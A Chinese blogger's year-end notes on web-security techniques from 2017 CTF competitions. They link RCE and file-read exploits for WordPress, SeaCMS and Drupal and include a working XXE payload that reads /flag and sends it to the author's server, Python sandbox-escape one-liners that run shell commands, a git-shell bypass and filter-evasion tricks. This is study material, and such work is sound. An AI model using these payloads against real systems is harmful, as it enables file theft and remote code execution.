两个多月没更新之后,除夕夜的前一天,失踪人口回归了~~~
这两个多月感觉瞎忙活了不少,又好像没学到啥东西,今天更篇博客,总结一下这半年打ctf积累的姿势,算是给这一年画上一个不太完美的句号吧。(留下的坑年后慢慢填吧:p)

蓝盾杯

2017.9.17

mysql修改密码

1
2
update mysql.user set password=PASSWORD('!@#$%') where user='root';
flush privileges;

mysql开启/关闭外链

1
2
3
update mysql.user set host='localhost' where user='root';
update mysql.user set host='%' where user='root';
flush privileges;

修改ftp密码

1
passwd ftp_user

others

proftpd 跨目录读取文件

WHCTF

xdebug命令执行

https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface

铁三总决赛

2017.9.23

wordpress

  1. wp-hide-security-enhancer任意文件读取

利用:https://secupress.me/blog/arbitrary-file-download-vulnerability-in-wp-hide-security-enhancer-1-3-9-2/

  1. phpmailer-rce

复现+利用:https://github.com/vulhub/vulhub/tree/master/wordpress/phpmailer-rce

seacms

v6.28 代码执行

利用:http://0day5.com/archives/4180/

扩展:v6.45 getshell

利用:http://0day5.com/archives/4249/

再次扩展:v6.54 getshell

利用:http://www.freebuf.com/vuls/150042.html

drupal

Drupal PECL YAML parser 远程代码执行漏洞(CVE-2017-6920)

复现:https://github.com/Medicean/VulApps/tree/master/d/drupal/1

利用:https://paper.seebug.org/334/ + http://www.bendawang.site/2017/07/19/pwnhub-%E7%B2%97%E5%BF%83%E7%9A%84%E4%BD%B3%E4%BD%B3/

XDCTF

2017.10.1-2017.10.2

整形ip绕过ssrf检测

读取/etc/hosts/proc/net/arp获取主机内网信息

python沙盒逃逸

https://xianzhi.aliyun.com/forum/read/2138.html

http://bobao.360.cn/learning/detail/4503.html

http://docs.ioin.in/writeup/github.com/_neargle_PIL_RCE_By_GhostButt/index.html

php://filter + base64_decode容错性

机器学习

幕测秋季预选赛

2017.10.15

\N在MySQL中表示NULL

https://dev.mysql.com/doc/refman/5.7/en/null-values.html

mark

1
2
$sql = "select * from error_news where id = $id";
$var = preg_replace('/([^a-z]+)(union|from)/i', ' $2', $var);

perl命令执行

http://www.vuln.cn/6241

执行命令时可以进行编码来绕过过滤

1
echo | base64 -D

phpjm

对于使用phpjm混淆过的文件可以先包含然后输出全局变量

1
2
3
4
<?php 
require_once('xml.php');
var_dump($GLOBALS);
?>

others

xxe可以使用php伪协议

中科大信安赛

kail pdftotest

wireshark导入二进制数据包

1
od -Ax -tx1 [binaryfile]

转为16进制再用wireshark导入

jemdoc

http://jemdoc.jaboc.net/

访问index.jemdoc

js调试

题目是一个注入,用ajax请求后端,使用js做了一个签名,但是js代码做了混淆。

mark

需要调试js来获取他的加密算法。

mark

虽然代码做了混淆,但还是找到了关键字,我们需要知道t、c、r的值。所以在此处下断点,单步调试,最后可以得到他们的值。

mark

接下来只要把payload后面加上签名就可以了,常规注入。

pickle 代码执行

http://www.freebuf.com/articles/system/89165.html

https://volltin.gitbooks.io/hackergame2017-writeup/hide-and-seek.html

http://www.polaris-lab.com/index.php/archives/178/

hexpand

GIT-SHELL沙盒绕过

https://www.leavesongs.com/PENETRATION/git-shell-cve-2017-8386.html

1
ssh -p port -i id_rsa -t git@host "git-upload-archive '--help'"

-t 是必须的,否则会直接返回一段文本,不会打开交互式界面

shift + e读取任意文件或者!command执行命令。

西南石油大学ctf

php_screw

http://wutongyu.info/about-php-screw-decode/

xxe

修改Content-Typetext/xml,注意修改Content-Length

1
<!DOCTYPE root SYSTEM "http://seaii-blog.com:8000/evil.xml">

evil.xml

1
2
3
4
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://seaii-blog.com:8000/index.php?aaaaa=%file;'>">
%payload;
%send;

python沙盒逃逸

platform
1
2
import platform
platform.popen('id', mode='r', bufsize=-1).read()
timeit
1
2
import timeit
timeit.timeit("__import__('os').system('')", number=1)

http://icematcha.win/?p=725

Time Based RCE

Thinkphp 模板注入

HCTF

js调试

http://www.jianshu.com/p/9148d215c119

Mysql out-of-band

http://www.mottoin.com/96463.html

mysql用户变量绕waf

mark

@var是mysql中的用户变量,:=是在select中赋值的操作符。可利用的场景比较少

LCTF

padding oracle attack

格式化字符串导致注入

https://paper.seebug.org/386/

preg_match匹配超长字符导致超时

7字符getshell

http://www.vuln.cn/6016

ssrf绕过

http://bobao.360.cn/learning/detail/4183.html

https://www.secpulse.com/archives/65832.html

https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html

curl是支持file://host/path, file://path这两种形式, 但是即使有host, curl仍然会访问到本地的文件

UXSS

http://www.fooying.com/uxss/